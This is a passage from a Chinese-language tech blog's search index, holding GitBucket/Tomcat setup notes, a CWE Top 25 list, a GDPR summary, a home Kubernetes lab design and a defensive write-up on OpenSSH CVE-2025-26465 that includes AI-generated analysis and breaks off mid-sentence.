gitbucket gitbucket - f /run/gitbucket/gitbucket.pid 0664 gitbucket gitbucket - /etc/systemd/system/gitbucket.service CREATE USER gitBucket WITH PASSWORD \u0026lsquo;\u0026rsquo;; GRANT CONNECT ON DATABASE gitBucket TO gitBucket;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # Systemd unit file for tomcat # vserion: 1.1 [Unit] Description=Apache Tomcat Web Application Container After=syslog.target network.target [Service] Type=forking Environment=JAVA_HOME=/usr/local/lib/jvm/java17-latest Environment=CATALINA_HOME=/usr/local/apache-tomcat/apache-tomcat-10-latest Environment=CATALINA_PID=/run/gitbucket/gitbucket.pid Environment=CATALINA_BASE=/usr/local/gitbucket/catalina Environment=GITBUCKET_HOME=/usr/local/gitbucket/data Environment=GITBUCKET_DB_URL=jdbc:postgresql://pg.pollohome.local/gitbucket Environment=GITBUCKET_DB_USER=gitbucket Environment=GITBUCKET_DB_PASSWORD=\u0026lt;EnterPWD\u0026gt; #CATALINA_OPTS Environment=\u0026#39;CATALINA_OPTS=-server -Xshare:off -Xms1g -Xmx1g -Djava.net.preferIPv4Stack=true -XX:+EliminateLocks -XX:+UseBiasedLocking -XX:MaxJavaStackTraceDepth=100 -XX:+UseG1GC -XX:MaxGCPauseMillis=95\u0026#39; #JAVA_OPTS Environment=\u0026#39;JAVA_OPTS=-Duser.language=zh -Duser.region=TW -Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/usr/local/gitbucket/dump -javaagent:/usr/local/apache-tomcat/jmx_prometheus_javaagent.jar=10099:/usr/local/apache-tomcat/jmx-exporter.yml\u0026#39; ExecStart=/usr/local/apache-tomcat/apache-tomcat-10-latest/bin/startup.sh ExecStop=/bin/kill -15 $MAINPID User=gitbucket Group=gitbucket UMask=0027 RestartSec=10 Restart=always [Install] WantedBy=multi-user.target 1 2 3 4 5 sudo systemctl daemon-reload sudo systemctl enable --now gitbucket sudo systemctl status gitbucket # 檢查 jmx export curl -i http://127.0.0.1:10019/metrics 設定文件: /etc/logrotate.d/gitbucket 1 2 3 4 5 6 7 8 9 10 11 12 13 14 /var/log/gitbucket/catalina.out { daily dateext dateformat -%Y-%m-%d missingok rotate 7 copytruncate compress delaycompress notifempty size 10M maxsize 50M su root root } 設定: 排程 # 指令: crontab -u gitbucket -e 1 2 3 4 5 6 7 8 # 刪除過期的連線紀錄 0 6 * * * /usr/bin/find /var/log/gitbucket/*.txt -type f -mtime +180 -exec rm -f {} \\; # 刪除過期的程式日誌 0 6 * * * /usr/bin/find /var/log/gitbucket/*.log -type f -mtime +7 -exec rm -f {} \\; # 刪除過期的程式暫存檔 0 6 * * * /usr/bin/find /usr/local/gitbucket/catalina/temp/ -type f -mtime +7 -exec rm -f {} \\; # 刪除過期的程式dump 0 6 * * * /usr/bin/find /usr/local/gitbucket/dump/* -type f -mtime +14 -exec rm -f {} \\; 預設帳密: root/root\n設定: 防火牆設定 # 要對負載平衡開放 port\n1 2 sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;[AP_IP 請自己改]\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;10090\u0026#34; accept\u0026#39; sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;[AP_IP 請自己改]\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;10099\u0026#34; accept\u0026#39; git server 22 port # 本機的 openssh server 要釋放 22 port 設定 Enable SSH access to git repository 注意 SSH bind port 不可以使用 22 port，要使用防火牆跳轉 設定防火牆 1 sudo firewall-cmd --zone=public --add-forward-port=port=22:proto=tcp:toport=10010 --permanent ","date":"July 26, 2025","externalUrl":null,"permalink":"/k8s/gitbucket/","section":"K8s","summary":"為了能在小小的實驗室有一個 git 託管服務，經過一分思索最後決定使用 GitBucket。\n安裝紀錄 # 必要 package # 1 sudo apt -y install fontconfig fonts-dejavu-core 安裝 JRE # 1 2 3 4 5 curl -s https://api.github.com/repos/adoptium/temurin17-binaries/releases/latest | grep browser_download_url|grep jre_x64_linux| grep tar.gz\\\" | cut -d '\"' -f 4 | wget -i - mkdir -p /usr/local/lib/jvm sudo tar -zxf OpenJDK17U-jre_x64_linux_hotspot_17.0.16_8.tar.gz -C /usr/local/lib/jvm/ sudo ln -s /usr/local/lib/jvm/jdk-17.0.16+8-jre /usr/local/lib/jvm/java17-latest 安裝tomcat # 1 2 3 sudo useradd -M -s /sbin/nologin webapp sudo useradd --system -s /sbin/nologin tomcat sudo usermod -a -G webapp tomcat 1 2 3 4 5 6 7 8 9 export APACHE_TOMCAT_9_VERSION=9.0.106 wget -O /tmp/apache-tomcat-${APACHE_TOMCAT_9_VERSION}.tar.gz https://archive.apache.org/dist/tomcat/tomcat-9/v${APACHE_TOMCAT_9_VERSION}/bin/apache-tomcat-${APACHE_TOMCAT_9_VERSION}.tar.gz sudo tar -zxf /tmp/apache-tomcat-${APACHE_TOMCAT_9_VERSION}.tar.gz -C /usr/local/apache-tomcat sudo rm -rf /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_9_VERSION}/webapps/* sudo chown tomcat: /usr/local/apache-tomcat sudo chown -R tomcat: /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_9_VERSION} sudo chown -R root: /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_9_VERSION}/logs sudo rm -rf /usr/local/apache-tomcat/apache-tomcat-9-latest sudo ln -s /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_9_VERSION} /usr/local/apache-tomcat/apache-tomcat-9-latest 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 export APACHE_TOMCAT_10_VERSION=10.1.43 mkdir - p /usr/local/apache-tomcat wget -O /tmp/apache-tomcat-${APACHE_TOMCAT_10_VERSION}.tar.gz https://archive.apache.org/dist/tomcat/tomcat-10/v${APACHE_TOMCAT_10_VERSION}/bin/apache-tomcat-${APACHE_TOMCAT_10_VERSION}.tar.gz sudo tar -zxf /tmp/apache-tomcat-${APACHE_TOMCAT_10_VERSION}.tar.gz -C /usr/local/apache-tomcat sudo rm -rf /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION}/webapps/* sudo chown tomcat: /usr/local/apache-tomcat sudo chown -R tomcat: /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION} sudo chown -R root: /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION}/logs sudo rm -rf /usr/local/apache-tomcat/apache-tomcat-10-latest sudo ln -s /usr/local/apache-tomcat/apache-tomcat-${APACHE_TOMCAT_10_VERSION} /usr/local/apache-tomcat/apache-tomcat-10-latest curl -s https://api.github.com/repos/prometheus/jmx_exporter/releases/latest | grep browser_download_url | grep 'jmx_prometheus_javaagent-.*\\.jar' | grep -v '\\.asc\\|\\.sha256' | cut -d '\"' -f 4 | wget -i - rm -f /usr/local/apache-tomcat/jmx_prometheus_javaagent-*.jar rm -f /usr/local/apache-tomcat/jmx_prometheus_javaagent.jar mv jmx_prometheus_javaagent-*.jar /usr/local/apache-tomcat/ ln -s /usr/local/apache-tomcat/jmx_prometheus_javaagent-*.jar /usr/local/apache-tomcat/jmx_prometheus_javaagent.jar /usr/local/apache-tomcat/jmx-exporter.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # https://grafana.com/grafana/dashboards/8704-tomcat-dashboard/ --- whitelistObjectNames: [\"java.lang:type=OperatingSystem\", \"Catalina:*\"] rules: - pattern: 'Catalina\u003ctype=Server\u003e\u003c\u003eserverInfo: (.+)' name: tomcat_serverinfo value: 1 labels: serverInfo: \"$1\" type: COUNTER - pattern: 'Catalina\u003ctype=GlobalRequestProcessor, name=\\\"(\\w+-\\w+)-(\\d+)\\\"\u003e\u003c\u003e(\\w+):' name: tomcat_$3_total labels: port: \"$2\" protocol: \"$1\" help: Tomcat global $3 type: COUNTER - pattern: 'Catalina\u003cj2eeType=Servlet, WebModule=//([-a-zA-Z0-9+\u0026@#/%?=~_|!:.,;]*[-a-zA-Z0-9+\u0026@#/%=~_|]), name=([-a-zA-Z0-9+/$%~_-|!.]*), J2EEApplication=none, J2EEServer=none\u003e\u003c\u003e(requestCount|processingTime|errorCount):' name: tomcat_servlet_$3_total labels: module: \"$1\" servlet: \"$2\" help: Tomcat servlet $3 total type: COUNTER - pattern: 'Catalina\u003ctype=ThreadPool, name=\"(\\w+-\\w+)-(\\d+)\"\u003e\u003c\u003e(currentThreadCount|currentThreadsBusy|keepAliveCount|connectionCount|acceptCount|acceptorThreadCount|pollerThreadCount|maxThreads|minSpareThreads):' name: tomcat_threadpool_$3 labels: port: \"$2\" protocol: \"$1\" help: Tomcat threadpool $3 type: GAUGE - pattern: 'Catalina\u003ctype=Manager, host=([-a-zA-Z0-9+\u0026@#/%?=~_|!:.,;]*[-a-zA-Z0-9+\u0026@#/%=~_|]), context=([-a-zA-Z0-9+/$%~_-|!.]*)\u003e\u003c\u003e(processingTime|sessionCounter|rejectedSessions|expiredSessions):' name: tomcat_session_$3_total labels: context: \"$2\" host: \"$1\" help: Tomcat session $3 total type: COUNTER - pattern: '.*' 1 chown tomcat:tomcat /usr/local/apache-tomcat/jmx_prometheus_javaagent-*.jar /usr/local/apache-tomcat/jmx-exporter.yml 設定資料庫 # gitbucket 預設資料庫是 H2，正式環境建議使用 Postgresql\n","title":"GitBucket 安裝紀錄","type":"k8s"},{"content":"","date":"July 26, 2025","externalUrl":null,"permalink":"/k8s/","section":"K8s","summary":"","title":"K8s","type":"k8s"},{"content":"","date":"July 26, 2025","externalUrl":null,"permalink":"/categories/k8s%E8%87%AA%E5%AD%B8%E7%AD%86%E8%A8%98/","section":"Categories","summary":"","title":"K8s自學筆記","type":"categories"},{"content":" Improper Neutralization of Input During Web Page Generation (\u0026lsquo;Cross-site Scripting\u0026rsquo;) 不正確的網頁生成輸入中和（「跨網站指令碼」） Out-of-bounds Write 越界寫入 Improper Neutralization of Special Elements used in an SQL Command (\u0026lsquo;SQL Injection\u0026rsquo;) 不正確的 SQL 命令特殊元素中和（「SQL 注入」） Cross-Site Request Forgery (CSRF) 跨網站請求偽造 (CSRF) Improper Limitation of a Pathname to a Restricted Directory (\u0026lsquo;Path Traversal\u0026rsquo;) 不正確的限制路徑名稱到受限制目錄（「路徑遍歷」） Out-of-bounds Read 越界讀取 Improper Neutralization of Special Elements used in an OS Command (\u0026lsquo;OS Command Injection\u0026rsquo;) 不正確的作業系統命令特殊元素中和（「作業系統命令注入」） Use After Free 釋放後使用 Missing Authorization 缺少授權 Unrestricted Upload of File with Dangerous Type 危險類型檔案的無限制上傳 Improper Control of Generation of Code (\u0026lsquo;Code Injection\u0026rsquo;) 不正確的程式碼生成控制（「程式碼注入」） Improper Input Validation 不正確的輸入驗證 Improper Neutralization of Special Elements used in a Command (\u0026lsquo;Command Injection\u0026rsquo;) 不正確的命令特殊元素中和（「命令注入」） Improper Authentication 不正確的身份驗證 Improper Privilege Management 不正確的權限管理 Deserialization of Untrusted Data 不可信資料的反序列化 Exposure of Sensitive Information to an Unauthorized Actor 敏感資訊洩露給未經授權的行為者 Incorrect Authorization 不正確的授權 Server-Side Request Forgery (SSRF) 伺服器端請求偽造 (SSRF) Improper Restriction of Operations within the Bounds of a Memory Buffer 不正確的記憶體緩衝區操作限制 NULL Pointer Dereference NULL 指標解引用 Use of Hard-coded Credentials 使用硬編碼憑證 Integer Overflow or Wraparound 整數溢位或迴繞 Uncontrolled Resource Consumption 不受控制的資源消耗 Missing Authentication for Critical Function 關鍵功能缺少身份驗證 參考資料 # 2024 CWE Top 25 Most Dangerous Software Weaknesses ","date":"July 17, 2025","externalUrl":null,"permalink":"/worknot/2024cwetop25/","section":"Worknots","summary":" Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) 不正確的網頁生成輸入中和（「跨網站指令碼」） Out-of-bounds Write 越界寫入 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) 不正確的 SQL 命令特殊元素中和（「SQL 注入」） Cross-Site Request Forgery (CSRF) 跨網站請求偽造 (CSRF) Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) 不正確的限制路徑名稱到受限制目錄（「路徑遍歷」） Out-of-bounds Read 越界讀取 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) 不正確的作業系統命令特殊元素中和（「作業系統命令注入」） Use After Free 釋放後使用 Missing Authorization 缺少授權 Unrestricted Upload of File with Dangerous Type 危險類型檔案的無限制上傳 Improper Control of Generation of Code (‘Code Injection’) 不正確的程式碼生成控制（「程式碼注入」） Improper Input Validation 不正確的輸入驗證 Improper Neutralization of Special Elements used in a Command (‘Command Injection’) 不正確的命令特殊元素中和（「命令注入」） Improper Authentication 不正確的身份驗證 Improper Privilege Management 不正確的權限管理 Deserialization of Untrusted Data 不可信資料的反序列化 Exposure of Sensitive Information to an Unauthorized Actor 敏感資訊洩露給未經授權的行為者 Incorrect Authorization 不正確的授權 Server-Side Request Forgery (SSRF) 伺服器端請求偽造 (SSRF) Improper Restriction of Operations within the Bounds of a Memory Buffer 不正確的記憶體緩衝區操作限制 NULL Pointer Dereference NULL 指標解引用 Use of Hard-coded Credentials 使用硬編碼憑證 Integer Overflow or Wraparound 整數溢位或迴繞 Uncontrolled Resource Consumption 不受控制的資源消耗 Missing Authentication for Critical Function 關鍵功能缺少身份驗證 參考資料 # 2024 CWE Top 25 Most Dangerous Software Weaknesses ","title":"2024 CWE Top 25","type":"worknot"},{"content":"","date":"July 17, 2025","externalUrl":null,"permalink":"/tags/cwe/","section":"Tags","summary":"","title":"CWE","type":"tags"},{"content":"","date":"July 17, 2025","externalUrl":null,"permalink":"/tags/%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8/","section":"Tags","summary":"","title":"資訊安全","type":"tags"},{"content":" 簡述 # 《通用資料保護條例》(GDPR) 簡述\n《通用資料保護條例》(General Data Protection Regulation, GDPR) 是歐盟於 2016 年 4 月 27 日通過的法規，旨在保護自然人在個人資料處理方面的權利和自由，並確保此類資料在歐盟境內的自由流動。它取代了先前的 95/46/EC 指令，並旨在解決資料保護在歐盟內部實施碎片化、法律不確定性以及公眾對線上活動資料保護風險的普遍擔憂。\nGDPR 的核心原則包括：\n基本權利與透明度：個人資料的保護是一項基本權利。資料處理必須是合法、公平且透明的，個人應了解其資料被收集、使用和處理的程度。 目的限制與資料最小化：個人資料應為特定、明確和合法目的而收集，且不得以與這些目的不相容的方式進一步處理。所處理的資料應足夠、相關且限於必要，並盡可能假名化以降低風險。 儲存限制與準確性：個人資料的儲存時間不應超過其處理目的所需的時間，並應採取合理措施確保資料的準確性。 完整性與機密性：個人資料應以確保其適當安全和機密性的方式處理，包括防止未經授權的存取或使用。 問責制：資料控制者（Controller）有責任並能夠證明其處理活動符合本條例。 GDPR 的適用範圍：\n個人資料定義：任何與已識別或可識別的自然人（資料主體）相關的資訊，例如姓名、識別號碼、位置資料、線上識別碼，或該自然人身體、生理、基因、心理、經濟、文化或社會身份的一個或多個特定因素。基因資料 和健康資料 被視為特殊類別的個人資料，需要更高程度的保護。 地理範圍： 在歐盟境內設有機構的控制者或處理者進行的個人資料處理活動，無論處理本身是否發生在歐盟境內。 未在歐盟境內設立機構的控制者或處理者，如果其處理活動涉及向歐盟境內的資料主體提供商品或服務（無論是否涉及支付），或監控其在歐盟境內的行為，則GDPR也適用。 資料主體的權利：\nGDPR 大幅強化了資料主體的權利，包括：\n知情權：了解其個人資料處理的存在及其目的，包括控制者的身份、處理目的、資料接收者、資料儲存期限等。 存取權：有權取得其個人資料被處理的確認，並存取相關資料。 糾正權：要求糾正不準確的個人資料。 被遺忘權（刪除權）：在特定情況下，有權要求刪除其個人資料，例如資料不再必要、撤回同意、資料被非法處理等。當控制者公開了個人資料並有刪除義務時，應採取合理步驟通知其他處理這些資料的控制者刪除所有連結或副本。 限制處理權：在特定情況下，有權要求限制其個人資料的處理。 資料可攜權：有權以結構化、常用、機器可讀的格式接收其提供給控制者的個人資料，並有權將這些資料傳輸給另一控制者，前提是處理是基於同意或契約且以自動化方式進行。 反對權：有權基於其特定情況反對處理其個人資料，特別是針對直接行銷目的的處理，包括分析。 不受自動化決策約束的權利：有權不受僅基於自動化處理（包括分析）且對其產生法律效力或類似重大影響的決策的約束。 控制者和處理者的義務：\n資料保護設計與預設：應實施適當的技術和組織措施，確保資料保護原則從設計之初就被納入，並預設只處理每個特定目的所必需的個人資料量。 資料保護影響評估 (DPIA)：對於可能產生高風險的處理活動（例如使用新技術、大規模分析、處理特殊類別資料等），控制者應進行影響評估。 事前諮詢：如果資料保護影響評估表明處理存在無法透過適當措施緩解的高風險，控制者應在處理前諮詢監督機關。 資料保護長 (DPO)：某些組織（例如公共機構、核心活動涉及大規模系統性監控或處理大量特殊類別資料的企業）必須指定資料保護長，負責監督內部合規性，並作為資料主體和監督機關的聯絡點。 資料洩露通知：在個人資料洩露可能導致自然人權利和自由面臨風險的情況下，控制者應在知悉後 72 小時內通知監督機關，如果可能導致高風險，則應不延遲地通知資料主體。 與處理者的關係：控制者應僅使用能提供足夠保證的處理者，並透過契約或法律行為規範處理者的義務，包括處理主題、持續時間、性質、目的等。 國際資料傳輸：向第三國或國際組織傳輸個人資料必須確保保護水平不被削弱。這可以透過適足性決定、適當保障措施（如具約束力企業規則 (BCRs) 或標準契約條款 (SCCs)），或在特定情況下的豁免條款實現。 監督機關與罰則：\n獨立監督機關：每個會員國都設有一個或多個獨立的公共機構，負責監督 GDPR 的應用，並保護資料主體的權利。他們有調查、糾正、授權和諮詢等權力。 司法救濟與賠償：資料主體有權向監督機關投訴，並有權獲得有效司法救濟和損害賠償。 行政罰款：GDPR 規定了嚴格的行政罰款，對於嚴重違規行為，最高可達 2000 萬歐元或企業前一財政年度全球年營業額的 4%（以較高者為準）。 ","date":"July 17, 2025","externalUrl":null,"permalink":"/worknot/gdpr/","section":"Worknots","summary":"簡述 # 《通用資料保護條例》(GDPR) 簡述\n《通用資料保護條例》(General Data Protection Regulation, GDPR) 是歐盟於 2016 年 4 月 27 日通過的法規，旨在保護自然人在個人資料處理方面的權利和自由，並確保此類資料在歐盟境內的自由流動。它取代了先前的 95/46/EC 指令，並旨在解決資料保護在歐盟內部實施碎片化、法律不確定性以及公眾對線上活動資料保護風險的普遍擔憂。\n","title":"GDPR-通用資料保護條例","type":"worknot"},{"content":"這是紀錄我學習 K8s 的筆記\n系統組成 # k8s 群集 用途: k8s 主體 k8s-master IP: 192.168.100.200 MAC: 52:54:00:13:43:a9 domain: k8s-master.k8s.local CPU: 2 RAM: 4GB k8s-node-01 IP: 192.168.100.201 domain: k8s-node-01.k8s.local CPU: 4 RAM: 8GB k8s-node-02 IP: 192.168.100.202 domain: k8s-node-02.k8s.local CPU: 4 RAM: 8GB git 用途: 存放腳本 CPU: 2 RAM: 1GB GitBucket jenkins 用途: 包 java War 檔 與 建立 docker image IP: 192.168.100.199 domain: jenkins.k8s.local CPU: 4 RAM: 2GB docker repo 用途: 儲存 docker image IP: 192.168.100.198 domain: docker-repo.k8s.local CPU: 2 RAM: 2GB 自架 Registry - Harbor nginx 用途: 作為與網際網路的代理 與 負載平衡 IP: 192.168.100.197 domain: nginx.k8s.local CPU: 2 RAM: 2GB monitor 用途: 監控系統狀態 IP: 192.168.100.196 domain: monitor.k8s.local CPU: 4 RAM: 8GB graylog , prometheus , grafana ","date":"July 8, 2025","externalUrl":null,"permalink":"/k8s/01-k8s-system-design/","section":"K8s","summary":"這是紀錄我學習 K8s 的筆記\n系統組成 # k8s 群集 用途: k8s 主體 k8s-master IP: 192.168.100.200 MAC: 52:54:00:13:43:a9 domain: k8s-master.k8s.local CPU: 2 RAM: 4GB k8s-node-01 IP: 192.168.100.201 domain: k8s-node-01.k8s.local CPU: 4 RAM: 8GB k8s-node-02 IP: 192.168.100.202 domain: k8s-node-02.k8s.local CPU: 4 RAM: 8GB git 用途: 存放腳本 CPU: 2 RAM: 1GB GitBucket jenkins 用途: 包 java War 檔 與 建立 docker image IP: 192.168.100.199 domain: jenkins.k8s.local CPU: 4 RAM: 2GB docker repo 用途: 儲存 docker image IP: 192.168.100.198 domain: docker-repo.k8s.local CPU: 2 RAM: 2GB 自架 Registry - Harbor nginx 用途: 作為與網際網路的代理 與 負載平衡 IP: 192.168.100.197 domain: nginx.k8s.local CPU: 2 RAM: 2GB monitor 用途: 監控系統狀態 IP: 192.168.100.196 domain: monitor.k8s.local CPU: 4 RAM: 8GB graylog , prometheus , grafana ","title":"01 - K8s System Design","type":"k8s"},{"content":"","date":"July 8, 2025","externalUrl":null,"permalink":"/tags/k8s/","section":"Tags","summary":"","title":"K8s","type":"tags"},{"content":"","date":"June 30, 2025","externalUrl":null,"permalink":"/tags/cve/","section":"Tags","summary":"","title":"CVE","type":"tags"},{"content":"","date":"June 30, 2025","externalUrl":null,"permalink":"/tags/cve-2025-26465/","section":"Tags","summary":"","title":"CVE-2025-26465","type":"tags"},{"content":"修補 CVE-2025-26465 方式\nCVE-2025-26465 # OpenSSH 是一套基於 SSH 協定的安全網路實用程式，這對於透過不安全網路進行通訊至關重要，可提供強大的加密功能以確保隱私與安全檔案傳輸，使其成為遠端伺服器管理和安全資料通訊的重要工具。OpenSSH以其廣泛的安全性和身分驗證功能而聞名，支援各種加密技術，並且是多個類 Unix 系統（包括 macOS 和 Linux）的標準配置。OpenSSH 官方於 2025 年 2 月 18 日發布新版本 9.9p2，修補以下兩個漏洞：\nCVE-2025-26465 ：CVSSv3.1 評分 6.8，OpenSSH 用戶端在版本6.8p1 到 9.9p1 （含）之間包含一個邏輯錯誤，若啟用VerifyHostKeyDNS 選項，則容易受到中間人（MitM）攻擊，當客戶端嘗試連線時，惡意入侵者可以冒充合法伺服器。 CVE-2025-26466 ：尚無 CVSS 評分，OpenSSH 用戶端和伺服器容易受到 9.5p1 至 9.9p1（含）版本之間的預先認證（pre-authentication）阻斷服務攻擊，導致記憶體與 CPU 消耗。 文件 # CVE-2025-26465 AI 分析 # 問題敘述如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 研究 CVE-2025-26465 漏洞 在 Oracle Linux 上的影響 主要針對下列網站提供資訊進行研究 * https://www.oracle.com/security-alerts/cpuapr2025.html * https://www.openssh.com/releasenotes.html * https://thehackernews.com/2025/02/new-openssh-flaws-enable-man-in-middle.html * https://blog.qualys.com/vulnerabilities-threat-research/2025/02/18/qualys-tru-discovers-two-vulnerabilities-in-openssh-cve-2025-26465-cve-2025-26466 * https://access.redhat.com/security/cve/cve-2025-26465 Grok # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 我針對 CVE-2025-26465 漏洞在 Oracle Linux 上的影響，依據您指定的網站進行了研究，並整合相關資訊如下。以下內容將涵蓋漏洞概述、對 Oracle Linux 的具體影響、修補狀態以及建議的緩解措施。 --- ### 1. **CVE-2025-26465 漏洞概述** CVE-2025-26465 是一項影響 OpenSSH 客戶端的漏洞，允許攻擊者在特定條件下執行**中間人攻擊（Man-in-the-Middle, MitM）**。該漏洞由 Qualys 威脅研究小組（TRU）於 2025 年 2 月 18 日披露，詳細資訊如下： - **漏洞描述**：當 OpenSSH 客戶端的 `VerifyHostKeyDNS` 選項啟用時（設定為 \u0026#34;yes\u0026#34; 或 \u0026#34;ask\u0026#34;），由於主機密鑰驗證過程中的錯誤處理問題，攻擊者可冒充合法伺服器，繞過客戶端的身分驗證檢查。這允許攻擊者攔截或篡改 SSH 會話，危害連線的完整性。即便 `VerifyHostKeyDNS` 預設為 \u0026#34;no\u0026#34;，在某些系統（如歷史上 FreeBSD 的預設配置）中可能啟用此選項，擴大了攻擊面。 - **影響版本**：OpenSSH 6.8p1 至 9.9p1（漏洞於 2014 年 12 月引入）。 - **CVSS 分數**：6.8（中高風險）。 - **修補版本**：OpenSSH 9.9p2（2025 年 2 月 18 日發布）已修補此漏洞。 - **攻擊條件**： - 攻擊者需具備執行 MitM 攻擊的能力（例如控制網路流量）。 - 不需要用戶互動。 - 不依賴 DNS 中的 SSHFP 資源記錄存在與否。 - **潛在影響**：成功利用可能導致資料外洩、憑證竊取或網路內橫向移動，特別是針對依賴 SSH 的關鍵伺服器。 **來源**：Qualys 博客、The Hacker News、OpenSSH 釋出版本說明。[](https://blog.qualys.com/vulnerabilities-threat-research/2025/02/18/qualys-tru-discovers-two-vulnerabilities-in-openssh-cve-2025-26465-cve-2025-26466)[](https://thehackernews.com/2024/07/new-openssh-vulnerability-could-lead-to.html)[](https://www.upwind.io/feed/openssh-vulnerabilities-cve-2025-26465-and-cve-2025-26466-enable-man-in-the-middle-and-dos-attacks) --- ### 2. **對 Oracle Linux 的影響** Oracle Linux 作為基於 Red Hat Enterprise Linux（RHEL）的企業級作業系統，廣泛使用 OpenSSH 進行安全遠端存取。以下是 CVE-2025-26465 對 Oracle Linux 的具體影響分析： #### **影響範圍** - **受影響的 Oracle Linux 版本**： - Oracle Linux 8 和 9 可能受到 CVE-2025-26465 的影響，因為這些版本可能包含易受影響的 OpenSSH 版本（6.8p1 至 9.9p1）。具體影響取決於系統中安裝的 OpenSSH 版本以及是否啟用了 `VerifyHostKeyDNS` 選項。 - 根據 AlmaLinux 的相關資訊（AlmaLinux 與 Oracle Linux 同樣基於 RHEL），AlmaLinux 8 和 9 已確認受 CVE-2025-26465 影響，這表明 Oracle Linux 8 和 9 同樣可能受影響。[](https://almalinux.org/blog/2025-02-20-test-patches-for-cve-2025-26465/) - **不受影響的組件**： - CVE-2025-26466（另一個同時披露的 OpenSSH 漏洞，涉及拒絕服務攻擊）不影響 RHEL 或基於 RHEL 的發行版（如 Oracle Linux），因為其漏洞條件在這些系統的預設配置中不成立。[](https://almalinux.org/blog/2025-02-20-test-patches-for-cve-2025-26465/) #### **Oracle 的官方回應** - 在指定的 Oracle 安全警報頁面（https://www.oracle.com/security-alerts/cpuapr2025.html）中，2025 年 4 月的關鍵補丁更新（Critical Patch Update, CPU）未直接提及 CVE-2025-26465。然而，該頁面提到 Oracle 對多個產品的漏洞修補，並包括第三方組件的更新。由於 OpenSSH 是 Oracle Linux 的核心組件，Oracle 可能透過 Oracle Linux 安全公告或更新套件的方式處理此漏洞。[](https://www.oracle.com/security-alerts/cpuapr2025.html) - Oracle 的 CVE 對應表（Map of CVE to Advisory/Alert）顯示，CVE-2020-0000 之後的漏洞會在關鍵補丁更新中列出，但未明確提到 CVE-2025-26465，可能是因為該漏洞由 OpenSSH 項目的上游修補（OpenSSH 9.9p2）直接解決，而非 Oracle 專屬修補。[](https://www.oracle.com/security-alerts/public-vuln-to-advisory-mapping.html) #### **Red Hat 的相關資訊** - Red Hat 的 CVE-2025-26465 頁面（https://access.redhat.com/security/cve/cve-2025-26465）確認 RHEL 8 和 9 受影響，但 RHEL 8 認為此漏洞修補屬於「範圍外」（out of scope），而 RHEL 9 的修補尚未完成。這表明 Oracle Linux（與 RHEL 高度相容）可能也面臨類似情況，即尚未完全修補。[](https://almalinux.org/blog/2025-02-20-test-patches-for-cve-2025-26465/) - Red Hat 建議用戶升級至 OpenSSH 9.9p2 或停用 `VerifyHostKeyDNS` 選項以降低風險。 --- ### 3. **修補狀態與 Oracle Linux 的更新** - **OpenSSH 修補**： - OpenSSH 9.9p2 已於 2025 年 2 月 18 日發布，修補了 CVE-2025-26465 和 CVE-2025-26466。該版本可在 OpenSSH 官方網站（https://www.openssh.com/releasenotes.html）下載或透過發行版套件更新。[](https://www.upwind.io/feed/openssh-vulnerabilities-cve-2025-26465-and-cve-2025-26466-enable-man-in-the-middle-and-dos-attacks) - **Oracle Linux 的套件更新**： - Oracle Linux 通常透過其 `yum` 或 `dnf` 套件管理器提供 OpenSSH 更新。用戶應檢查當前 OpenSSH 版本（使用 `ssh -V` 命令）並確保升級至 9.9p2 或更高版本。 - Oracle 可能透過 Unbreakable Linux Network（ULN）或公開 yum 儲存庫提供修補後的 OpenSSH 套件。建議檢查 Oracle Linux 安全公告（https://linux.oracle.com/security）以獲取最新更新。 - **AlmaLinux 的參考**： - AlmaLinux 已於 2025 年 3 月 13 日為其用戶發布針對 CVE-2025-26465 的修補套件，適用於 AlmaLinux 8 和 9。由於 Oracle Linux 與 AlmaLinux 共享 RHEL 基礎，Oracle Linux 很可能在類似時間範圍內提供修補。[](https://almalinux.org/blog/2025-02-20-test-patches-for-cve-2025-26465/) --- ### 4. **緩解措施與建議** 為降低 CVE-2025-26465 在 Oracle Linux 上的風險，建議採取以下措施： 1. **升級 OpenSSH**： - 立即將 Oracle Linux 系統中的 OpenSSH 升級至 9.9p2 或更高版本。執行以下命令檢查並更新： ```bash ssh -V sudo dnf update openssh ``` - 確保從 Oracle 官方儲存庫或 ULN 獲取更新。 2. **停用 `VerifyHostKeyDNS`**： - 檢查 SSH 客戶端配置文件（通常位於 `/etc/ssh/ssh_config` 或 `~/.ssh/config`），確保 `VerifyHostKeyDNS` 設為 \u0026#34;no\u0026#34;： ```bash VerifyHostKeyDNS no ``` - 若無法立即升級 OpenSSH，停用此選項可顯著降低 